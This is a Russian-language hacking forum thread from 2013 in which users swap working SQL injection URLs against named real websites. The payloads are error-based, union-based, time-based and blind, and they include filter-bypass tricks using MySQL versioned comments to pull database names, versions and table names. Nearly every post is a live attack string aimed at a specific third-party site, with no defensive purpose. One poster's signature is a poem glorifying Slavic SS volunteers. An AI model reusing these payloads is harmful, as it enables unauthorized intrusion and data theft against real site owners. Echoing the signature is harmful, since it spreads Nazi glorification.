Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
01.09.2013, 16:33
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от Unknowhacker
Подскажите, как в данном случае посимвольно подобрать имя базы данных таблицы через оператора CHAR
Вы уверены, что вам надо перебирать именно так, если возможно решить задачу более-результативным путем?
К примеру получаем вывод имени базы данных через error-based, но немного другого типа:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//ukrcrewing.com.ua/agency%27or%201%20group%20by%20concat%28database%28%29,floor%28rand%280%29*2%29%29%20having%20min%280%29%20--%20
[/COLOR][/COLOR]
|
|
|
01.09.2013, 21:20
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
Интересная SQL
Код:
seafarer.od.ua/?page=study&course=2+order+by+7+--+
Но при операторах UNION+SELECT выдаёт ошибку будто кол-во столбцов неверно. |
|
|
|
02.09.2013, 04:44
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от Unknowhacker
Интересная SQL
Код:
seafarer.od.ua/?page=study&course=2+order+by+7+--+
Но при операторах
UNION+SELECT
выдаёт ошибку будто кол-во столбцов неверно. Warning: ibase_query(): Dynamic SQL Error SQL error code = -104 Token unknown - line 1, column 103 group in /var/www/lesozavodsk/study.inc on line 11
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//seafarer.od.ua/?page=study&course=2+union+select+1,2,3,4,5,6,7+from+rdb$relations+--+
[/COLOR][/COLOR]
|
|
|
|
03.09.2013, 11:24
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
нужно обойти фильтр не понятно на что, толи TABLE_NAME; INFORMATION_SCHEMA
Код:
http://www.web-compas.ru/c.php?id=-34%27+union+/*!select*/+1,version%28%29,3,4,5,6,7+--+
на select вроде обошёл |
|
|
|
03.09.2013, 12:02
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от Unknowhacker
нужно обойти фильтр не понятно на что, толи TABLE_NAME; INFORMATION_SCHEMA
Код:
http://www.web-compas.ru/c.php?id=-34%27+union+/*!select*/+1,version%28%29,3,4,5,6,7+--+
на select вроде обошёл Мысль у тебя правильная:
Сообщение от None
http://www.web-compas.ru/c.php?id=-34'+union+/*!select*/+1,/*!group_concat(table_name)*/,3,4,5,6,7
+/*!from*/+/*!information_schema.tables*/+/*!where*/+/*!table_schema*/ = /*!database()*/+--+
|
|
|
|
03.09.2013, 12:55
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
Сообщение от YaBtr
Мысль у тебя правильная:
Точно, мне показалось, что дальше не прокатит ..
Я вот ещё нашёл
Код:
http://tochka.cn.ua/index.php?cat=0%27+order+by+9+--+
http://www.autoonline.com.ua/news/index.php?id=4736+order+by+9+--+
но при UNION+SELECT = показывает обычную страницу даже есть кол-во столбцов я увеличу.
|
|
|
|
03.09.2013, 15:12
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от Unknowhacker
Точно, мне показалось, что дальше не прокатит ..
Я вот ещё нашёл
Код:
http://tochka.cn.ua/index.php?cat=0%27+order+by+9+--+
http://www.autoonline.com.ua/news/index.php?id=4736+order+by+9+--+
но при UNION+SELECT = показывает обычную страницу даже есть кол-во столбцов я увеличу. Здесь time based
http://www.autoonline.com.ua/news/index.php?id=4736 +/*!and*/+/*!if(substr(version(),1,1)=5,SLEEP(5),1)*/+--+
|
|
|
|
03.09.2013, 16:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 575
С нами:
9030566
Репутация:
2017
|
|
Сообщение от YaBtr
Здесь
time based
http://www.autoonline.com.ua/news/index.php?id=4736
+/*!and*/+/*!if(substr(version(),1,1)=5,SLEEP(5),1)*/+--+
мммм,зачем тайм..
Сообщение от None
http://www.autoonline.com.ua/news/index.php?id=-4736/**/UNION/**//*!SELECT*//**/1,2,version%28%29,4,5,6,7,8,9%23
Сообщение от None
http://www.autoonline.com.ua/news/index.php?id=-4736/**/UNION/**//*!SELECT*//**/1,2,/*!table_name*/,4,5,6,7,8,9/**//*!from*//**/information_schema.tables/**/limit/**/N,1%23
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
03.09.2013, 22:15
|
|
Участник форума
Регистрация: 25.05.2013
Сообщений: 249
С нами:
6825206
Репутация:
24
|
|
HATA4OK, спасибо, но я уже сделал по другому.
Код:
http://www.cigarettehouse.net/?action=page&name=NEWS&page=-37+/*!union*/+/*!select*/+1,2+--+
Мне не даёт покоя эта ссылка, но как я не крутил не выводится номер столбца -(
|
|
|
|
04.09.2013, 10:06
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 22
С нами:
9176038
Репутация:
8
|
|
Сообщение от Unknowhacker
HATA4OK
, спасибо, но я уже сделал по другому.
Код:
http://www.cigarettehouse.net/?action=page&name=NEWS&page=-37+/*!union*/+/*!select*/+1,2+--+
Мне не даёт покоя эта ссылка, но как я не крутил не выводится номер столбца -(
И не выведешь. Тут слепая скуля.
Кстати тут удобно использовать метод more1row
Смотри сам:
Код:
http://www.cigarettehouse.net/?action=page&name=NEWS&page=37+and+if(substr((@@version),1,1)=4,1,(select+1+union+select+2))
No error
http://www.cigarettehouse.net/?action=page&name=NEWS&page=37+and+if(substr((@@version),1,1)=5,1,(select+1+union+select+2))
Error
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
|
|
|
|
Похожие темы
Линейный вид
